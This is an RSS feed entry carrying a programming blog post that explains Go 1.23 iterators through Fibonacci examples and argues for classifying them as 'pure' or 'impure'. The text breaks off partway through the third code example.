<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on jub0bs.com</title>
        <link>//jub0bs.com/posts/</link>
        <description>Recent content in Posts on jub0bs.com</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <copyright>&lt;a href=&#34;https://creativecommons.org/licenses/by-nc/4.0/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CC BY-NC 4.0&lt;/a&gt;</copyright>
        <lastBuildDate>Thu, 29 May 2025 07:00:00 +0000</lastBuildDate>
        <atom:link href="//jub0bs.com/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>Pure vs. impure iterators in Go</title>
            <link>//jub0bs.com/posts/2025-05-29-pure-vs-impure-iterators-in-go/</link>
            <pubDate>Thu, 29 May 2025 07:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2025-05-29-pure-vs-impure-iterators-in-go/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Go has now standardised iterators.&lt;/li&gt;
&lt;li&gt;Iterators are powerful.&lt;/li&gt;
&lt;li&gt;Being functions under the hood, iterators can be closures.&lt;/li&gt;
&lt;li&gt;The classification of iterators suggested by the documentation is ambiguous.&lt;/li&gt;
&lt;li&gt;Dividing iterators into two categories, &amp;ldquo;pure&amp;rdquo; and &amp;ldquo;impure&amp;rdquo;, seems to me preferrable.&lt;/li&gt;
&lt;li&gt;Whether iterators should be designed as &amp;ldquo;pure&amp;rdquo; whenever possible is unclear.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-advent-of-iterators-in-go&#34;&gt;The advent of iterators in Go &lt;a href=&#34;#the-advent-of-iterators-in-go&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The iterator pattern was popularised by &lt;a href=&#34;https://www.informit.com/store/design-patterns-elements-of-reusable-object-oriented-9780201633610&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;the classic &amp;ldquo;Gang of Four&amp;rdquo; book&lt;/a&gt; as&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[providing] a way to access the elements of an aggregate object sequentially
without exposing its underlying representation.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<ul>
<li>Go has now standardised iterators.</li>
<li>Iterators are powerful.</li>
<li>Being functions under the hood, iterators can be closures.</li>
<li>The classification of iterators suggested by the documentation is ambiguous.</li>
<li>Dividing iterators into two categories, &ldquo;pure&rdquo; and &ldquo;impure&rdquo;, seems to me preferrable.</li>
<li>Whether iterators should be designed as &ldquo;pure&rdquo; whenever possible is unclear.</li>
</ul>
<h2 id="the-advent-of-iterators-in-go">The advent of iterators in Go <a href="#the-advent-of-iterators-in-go">¶</a></h2>
<p>The iterator pattern was popularised by <a href="https://www.informit.com/store/design-patterns-elements-of-reusable-object-oriented-9780201633610" target="_blank" rel="noopener">the classic &ldquo;Gang of Four&rdquo; book</a> as</p>
<blockquote>
<p>[providing] a way to access the elements of an aggregate object sequentially
without exposing its underlying representation.</p>
</blockquote>
<p>Until recently, the data structures over which you could iterate via <a href="https://go.dev/ref/spec#For_range" target="_blank" rel="noopener">a
<code>for</code>-<code>range</code> loop</a> were limited to arrays (either directly or
through a pointer), slices, strings, maps, channels, and integers.  However, in
the wake of <a href="https://go.dev/doc/go1.18#generics" target="_blank" rel="noopener">Go 1.18</a>&rsquo;s support for <a href="https://en.wikipedia.org/wiki/Parametric_polymorphism" target="_blank" rel="noopener">parametric polymorphism</a>
(a.k.a.  &ldquo;generics&rdquo;), <a href="https://go.dev/doc/go1.23#iterators" target="_blank" rel="noopener">Go 1.23</a> standardised the way of defining custom
iterators, saw the addition of the <a href="https://pkg.go.dev/iter" target="_blank" rel="noopener">iter</a> package in the standard
library, and welcomed a couple of <em>iterator factories</em> (i.e. functions or
methods that return an iterator) in the <a href="https://pkg.go.dev/slices" target="_blank" rel="noopener">slices</a> and <a href="https://pkg.go.dev/maps" target="_blank" rel="noopener">maps</a>
packages.  And <a href="https://go.dev/doc/go1.24#minor_library_changes" target="_blank" rel="noopener">Go 1.24</a> marked the inception in the standard library
of even more iterator factories, such as <a href="https://pkg.go.dev/strings#SplitSeq" target="_blank" rel="noopener"><code>strings.SplitSeq</code></a>:</p>
<blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// SplitSeq returns an iterator over all substrings of s separated by sep.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// The iterator yields the same strings that would be returned by Split(s, sep),</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// but without constructing the slice.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// It returns a single-use iterator.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">SplitSeq</span>(<span style="color:#a6e22e">s</span>, <span style="color:#a6e22e">sep</span> <span style="color:#66d9ef">string</span>) <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">string</span>]
</span></span></code></pre></div></blockquote>
<hr>
<p>If you&rsquo;re not familiar with the syntax and semantics of iterators in Go 1.23+,
I recommend you peruse <a href="https://www.airs.com/blog/" target="_blank" rel="noopener">Ian Lance Taylor</a>&rsquo;s <a href="https://go.dev/blog/range-functions" target="_blank" rel="noopener">introductory
post</a> published on the Go blog.</p>
<p>Once you get past the first impression of bewilderment (&ldquo;Why so many
<code>func</code>s?!&rdquo;), it&rsquo;s pretty smooth sailing. Moreover, callers of iterators
typically are isolated from whatever complexity is involved in their
implementation.</p>
<hr>
<p>As a first example, consider the program below (<a href="https://go.dev/play/p/tlFDOBh2jyD" target="_blank" rel="noopener">playground</a>), which
features a factory function named <code>fib0</code> that produces an iterator over <a href="https://en.wikipedia.org/wiki/Fibonacci_sequence" target="_blank" rel="noopener">the
sequence of Fibonacci numbers</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;iter&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">fib0</span>() <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">int</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>(<span style="color:#66d9ef">int</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">a</span>); <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> = <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">a</span><span style="color:#f92672">+</span><span style="color:#a6e22e">b</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// deliberately empty</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">fib0</span>() {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">100</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As you can expect, the program prints the Fibonacci numbers less than 100 in
increasing order:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0 1 1 2 3 5 8 13 21 34 55 89 
</span></span></code></pre></div><h2 id="the-power-of-iterators">The power of iterators <a href="#the-power-of-iterators">¶</a></h2>
<p>The standardisation of iterators is a welcome addition to the Go language.
Iterators indeed provide tangible benefits:</p>
<ul>
<li>They promote <strong>flexibility</strong> and <strong>separation of concerns</strong>: callers can
remain oblivious about how the sequence is produced and can instead focus on
what to do with the data; <a href="https://blog.thibaut-rousseau.com/blog/writing-testing-a-paginated-api-iterator/" target="_blank" rel="noopener">an iterator that abstracts the paginated consumption
of GitHub&rsquo;s API</a> is a good example.</li>
<li>They encourage <strong>encapsulation</strong> insofar as they expose data as sequences that
cannot be mutated like slices and maps can.</li>
<li>They have the potential to boost <strong>performance</strong>: instead of materialising a
data structure containing the entire body of data, they dole out elements one
by one only as required by the caller, thereby promising, in many (<a href="https://go.dev/play/p/rG47tuwY_Ik" target="_blank" rel="noopener">though not
all</a>) situations, a lower latency and reduced heap allocations;
they&rsquo;re also more performant than iterator implementations relying on channels.</li>
<li>They allow for <strong>infinite sequences</strong> (e.g. the sequence of prime numbers),
an affordance that finite data structures like slices and maps never could
provide.</li>
</ul>
<p>Because iterators are so powerful, they&rsquo;re likely to mushroom in libraries even
beyond Go&rsquo;s standard library. Therefore, to forestall any confusion in the
discourse about iterators, the terminology surrounding them should be as
precise as possible.</p>
<h2 id="official-guidance-on-iterator-classification">Official guidance on iterator classification <a href="#official-guidance-on-iterator-classification">¶</a></h2>
<p>The phrase &ldquo;single-use iterator&rdquo; may have caught your eye in
<code>strings.SplitSeq</code>&rsquo;s documentation.
It is explained in <a href="https://pkg.go.dev/iter#hdr-Single_Use_Iterators" target="_blank" rel="noopener">a section</a> of the <a href="https://pkg.go.dev/iter" target="_blank" rel="noopener">iter</a> package:</p>
<blockquote>
<p>Most iterators provide the ability to walk an entire sequence: when called,
the iterator does any setup necessary to start the sequence, then calls yield
on successive elements of the sequence, and then cleans up before returning.
Calling the iterator again walks the sequence again.</p>
<p>Some iterators break that convention, providing the ability to walk a
sequence only once. These &ldquo;single-use iterators&rdquo; typically report values from
a data stream that cannot be rewound to start over. Calling the iterator
again after stopping early may continue the stream, but calling it again
after the sequence is finished will yield no values at all. Doc comments for
functions or methods that return single-use iterators should document this
fact:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Lines returns an iterator over lines read from r.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// It returns a single-use iterator.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Reader</span>) <span style="color:#a6e22e">Lines</span>() <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">string</span>]
</span></span></code></pre></div></blockquote>
<p>This passage of the documentation seemingly divides iterators into two
categories. I&rsquo;ll attempt to elucidate them through a couple of examples.</p>
<h3 id="an-example-of-a-pure-iterator">An example of a &ldquo;pure&rdquo; iterator <a href="#an-example-of-a-pure-iterator">¶</a></h3>
<p>The result of my <code>fib0</code> function clearly exemplifies the first category:</p>
<blockquote>
<p>Most iterators provide the ability to walk an entire sequence: when called,
the iterator does any setup necessary to start the sequence, then calls yield
on successive elements of the sequence, and then cleans up before returning.
Calling the iterator again walks the sequence again.</p>
</blockquote>
<p>If we assign <code>fib0</code>&rsquo;s result to a variable and then range over that iterator
multiple times, we indeed walk the sequence of Fibonacci
numbers <em>from the beginning</em> each time:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;iter&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">fib0</span>() <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">int</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>(<span style="color:#66d9ef">int</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>; <span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">a</span>); <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> = <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">a</span><span style="color:#f92672">+</span><span style="color:#a6e22e">b</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// deliberately empty</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">seq</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fib0</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">10</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">100</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">1000</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0 1 1 2 3 5 8 
</span></span><span style="display:flex;"><span>0 1 1 2 3 5 8 13 21 34 55 89 
</span></span><span style="display:flex;"><span>0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 
</span></span></code></pre></div><p>In my interpretation of the documentation, the first category of iterators
corresponds to <em>externally <a href="https://en.wikipedia.org/wiki/Pure_function" target="_blank" rel="noopener">pure functions</a></em>, i.e. iterators that may
internally rely on mutation but display no externally observable side effects.
Therefore, &ldquo;pure&rdquo; seems to me an apt qualifier for such iterators; &ldquo;stateless&rdquo;
comes a close second.</p>
<h2 id="example-of-a-single-use-iterator">Example of a &ldquo;single-use&rdquo; iterator <a href="#example-of-a-single-use-iterator">¶</a></h2>
<p>What about the second category?</p>
<blockquote>
<p>Some iterators break that convention, providing the ability to walk a
sequence only once. These &ldquo;single-use iterators&rdquo; typically report values from
a data stream that cannot be rewound to start over. Calling the iterator
again after stopping early may continue the stream, but calling it again
after the sequence is finished will yield no values at all.</p>
</blockquote>
<p>Consider the example below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">fib1</span>() <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">int</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>(<span style="color:#66d9ef">int</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> ; <span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">a</span>); <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> = <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">a</span><span style="color:#f92672">+</span><span style="color:#a6e22e">b</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// deliberately empty body</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>At a glance, iterator factory <code>fib1</code> seems almost identical to <code>fib0</code>,
and you would be forgiven to dismiss their difference in implementation as
unimportant; in fact, you&rsquo;d be in <a href="https://github.com/golang/go/issues/73524#issuecomment-2886195765" target="_blank" rel="noopener">very good company</a> if you
did. However, the difference between <code>fib1</code> and <code>fib0</code>, far from being merely
cosmetic, actually changes the semantics of their results.  To understand why,
you need some familiarity with <a href="https://en.wikipedia.org/wiki/Closure_%28computer_programming%29" target="_blank" rel="noopener"><em>closures</em></a>.</p>
<hr>
<p>If necessary, refer to the <a href="#appendix-refresher-on-closures">appendix</a> to this
post for a refresher on closures.</p>
<hr>
<p>Recall that, in Go, iterators are functions; as such, iterators can be
closures!  In <code>fib0</code>, variables <code>a</code> and <code>b</code> are declared within the resulting
iterator.  By contrast, in <code>fib1</code>, variables <code>a</code> and <code>b</code> are <a href="https://en.wikipedia.org/wiki/Free_variables_and_bound_variables" target="_blank" rel="noopener"><em>free
variables</em></a> of the resulting iterator, which also happens to mutate
those variables.  Therefore, if we repeatedly range over <code>fib1</code>&rsquo;s result
(<a href="https://go.dev/play/p/blZwSxciBqV" target="_blank" rel="noopener">playground</a>) as we did over <code>fib0</code>&rsquo;s result earlier, we observe a very different
behaviour:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;iter&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">fib1</span>() <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">int</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">yield</span> <span style="color:#66d9ef">func</span>(<span style="color:#66d9ef">int</span>) <span style="color:#66d9ef">bool</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> ; <span style="color:#a6e22e">yield</span>(<span style="color:#a6e22e">a</span>); <span style="color:#a6e22e">a</span>, <span style="color:#a6e22e">b</span> = <span style="color:#a6e22e">b</span>, <span style="color:#a6e22e">a</span><span style="color:#f92672">+</span><span style="color:#a6e22e">b</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// deliberately empty</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">seq</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fib1</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">10</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">100</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">seq</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">1000</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Printf</span>(<span style="color:#e6db74">&#34;%d &#34;</span>, <span style="color:#a6e22e">n</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Output:</p>
<pre tabindex="0"><code>0 1 1 2 3 5 8 
13 21 34 55 89 
144 233 377 610 987
</code></pre><p>In plain terms, the iterator &ldquo;remembers&rdquo; where in the sequence of Fibonacci
numbers the caller last stopped and, when the caller resumes ranging over it,
the iterator picks up right where it left off; because the sequence produced by
this iterator cannot be rewound but can be resumed, the iterator could perhaps
be described as &ldquo;single-use&rdquo; but &ldquo;resumable&rdquo;.</p>
<h2 id="a-problematic-classification">A problematic classification <a href="#a-problematic-classification">¶</a></h2>
<p>The classification of iterators suggested in the documentation is not ideal,
in my opinion.</p>
<p>First, its lack of a term for iterators that I described earlier as &ldquo;pure&rdquo; is
puzzling.  Among all iterators, &ldquo;pure&rdquo; iterators arguably distinguish
themselves as the easiest ones to reason about; as such, don&rsquo;t they deserve
their own qualifier?  A parallel with <a href="https://go.dev/play/p/usL33VcLdPg" target="_blank" rel="noopener">dynamical systems</a> comes to
mind: <a href="https://en.wikipedia.org/wiki/Linear_dynamical_system" target="_blank" rel="noopener">linear dynamical systems</a> are singled out from nonlinear ones
precisely because they&rsquo;re regarded as simpler and much easier to apprehend.</p>
<p>Second, I find the description of the second category confusingly imprecise and
ambiguous. In particular, whether the term &ldquo;single-use&rdquo; is intended to
encompass only some or <em>all</em> &ldquo;impure&rdquo; iterators is unclear to me&hellip; and to
other Gophers too, if the results of <a href="https://gophers.slack.com/archives/C029RQSEE/p1747742475549899" target="_blank" rel="noopener">an informal poll</a> that I recently
ran on <a href="https://gophers.slack.com/" target="_blank" rel="noopener">Gophers Slack</a> are to be believed.  If the &ldquo;single-use&rdquo;
qualifier is intended for only a subcategory of &ldquo;impure&rdquo; iterators, I&rsquo;m not
sure why this subcategory should deserve a particular focus in the
documentation.  And if the &ldquo;single-use&rdquo; qualifier is intended for all &ldquo;impure&rdquo;
iterators, it strikes me as a misnomer; after all, many forms of &ldquo;impure&rdquo;
iterators are possible, not all of which could reasonably be described as
&ldquo;single-use&rdquo;, as we shall see.</p>
<h3 id="a-wondrous-zoo-of-impure-iterators">A wondrous zoo of &ldquo;impure&rdquo; iterators <a href="#a-wondrous-zoo-of-impure-iterators">¶</a></h3>
<p>In the program below, the iterator resulting from <code>fib2</code> (<a href="https://go.dev/play/p/lPuFqQz7RgR" target="_blank" rel="noopener">playground</a>)
could reasonably be described as &ldquo;usable twice&rdquo; and &ldquo;non-resumable&rdquo;
(or, perhaps, <a href="https://github.com/golang/go/issues/61897#issuecomment-2182788027" target="_blank" rel="noopener"><em>restarting</em></a>):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;iter&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">fib2</span>() <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">int</span>] {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span> <span style="color:#66d9ef">int</span>
